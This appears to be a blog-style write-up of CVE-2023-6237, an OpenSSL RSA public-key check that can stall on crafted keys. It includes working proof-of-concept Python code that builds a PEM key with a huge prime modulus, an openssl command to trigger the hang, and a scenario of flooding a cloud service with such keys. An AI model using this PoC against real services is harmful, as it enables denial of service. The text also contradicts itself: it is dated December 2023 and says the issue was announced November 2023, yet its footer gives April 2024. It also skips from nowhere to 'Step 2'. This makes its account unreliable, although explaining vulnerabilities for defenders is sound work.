Published: December 2023
Severity: Moderate

Introduction

On November 23, 2023, a security vulnerability was announced under CVE-2023-6237, affecting OpenSSL’s RSA public key validation logic. This vulnerability can cause severe delays — or even a denial of service (DoS) — when checking specially crafted, invalid RSA public keys. In this article, we break down what the bug is, who it affects, provide sample code, and show how an attacker might exploit the issue. Links and references are included for deeper exploration.

Impact: DoS via excessive CPU usage when handling malicious keys

- Not Affected: OpenSSL SSL/TLS stack, typical certificate validations

What’s the Problem?

When you use EVP_PKEY_public_check() to check if an RSA public key is valid, OpenSSL tries to verify that the modulus (n) of the key is composite (i.e., a product of two or more prime numbers). For real-world RSA keys, this check runs almost instantly.

But if an attacker gives your application a public key where n is not composite but a particularly large *prime* number — and your application calls EVP_PKEY_public_check() on it — the check can take a *very* long time.

Why Does It Take So Long?

Primality testing for huge numbers is computationally expensive. If OpenSSL is tricked into checking a very large prime, it could tie up your CPU for seconds or even minutes, depending on the key size and system specs.

Where Is It Used?

EVP_PKEY_public_check() isn’t called automatically during SSL/TLS operation, so most web servers and clients aren’t exposed. But if your code or command-line use explicitly calls this function (or uses the openssl pkey -pubin -check command), you’re at risk — especially if the keys come from an untrusted source.

Impact Overview

- DoS Potential: By submitting an intentionally crafted RSA key, an attacker can freeze or slow down your app, using up CPU time or making the app unresponsive.
- Who’s Vulnerable? Any implementation, service, or CLI tool that uses EVP_PKEY_public_check() on untrusted keys.

Who’s Safe?

- OpenSSL’s normal SSL/TLS operations
- Apps/services that only check trusted keys

Example Scenario

Imagine a microservice that accepts user uploads of RSA public keys and validates them using EVP_PKEY_public_check() before storing or processing further. An attacker submits a PEM-format RSA public key, where the modulus is a massive prime number. When your code verifies this key, it stalls — during this check, your microservice is tied up, potentially unable to handle other requests.

Here's a Python snippet using sympy to generate a 8192-bit prime

from sympy import nextprime
import random

bits = 8192
n = nextprime(random.getrandbits(bits))
print(f"x{n:x}")

Step 2: Create a Malicious RSA Public Key

In practice, you'd have to build the ASN.1 structure for an RSA key, plugging in your giant prime for n.

With Python and pyca/cryptography

from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from sympy import nextprime
import random

# Generate large prime for modulus
n = nextprime(random.getrandbits(8192))
e = 65537  # standard exponent

# "Fake" RSA public key using constant attributes
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key()

# Write public key to PEM file
with open("malicious_pubkey.pem", "wb") as f:
    f.write(public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo
    ))

Run:

openssl pkey -pubin -in malicious_pubkey.pem -check

Result: The command will hang for a long time, using a lot of CPU.

DoS Scenario

If your app does the same thing but in a cloud service, an attacker could upload several such keys — spiking CPU usage and denying access to others.

Never run EVP_PKEY_public_check() on untrusted RSA public keys.

- Patch: Upgrade OpenSSL to a version where CVE-2023-6237 is fixed. As of this writing, OpenSSL security advisories will announce fixed versions.
- Rate-limit: If you must check keys from the public, apply strict timeouts, buffer limits, and potentially limit key size.

Timeline

- 2023-11-23: Vulnerability announced (see OpenSSL Advisory)

References

- OpenSSL Security Advisory - 20231123
- CVE Details: CVE-2023-6237
- OpenSSL Documentation: EVP_PKEY_public_check

Conclusion

CVE-2023-6237 shows how subtle bugs in cryptography code can open the door to real-world attacks, even if typical web activity is unaffected. If your code validates RSA public keys — especially from uploads, APIs, or user-supplied data — you must patch or mitigate this risk. Always be careful when handling cryptographic material from unknown sources!


*This article is exclusive to this channel — feel free to share and link with credit.*

Timeline

Published on: 04/25/2024 07:15:45 UTC
Last modified on: 11/01/2024 15:35:06 UTC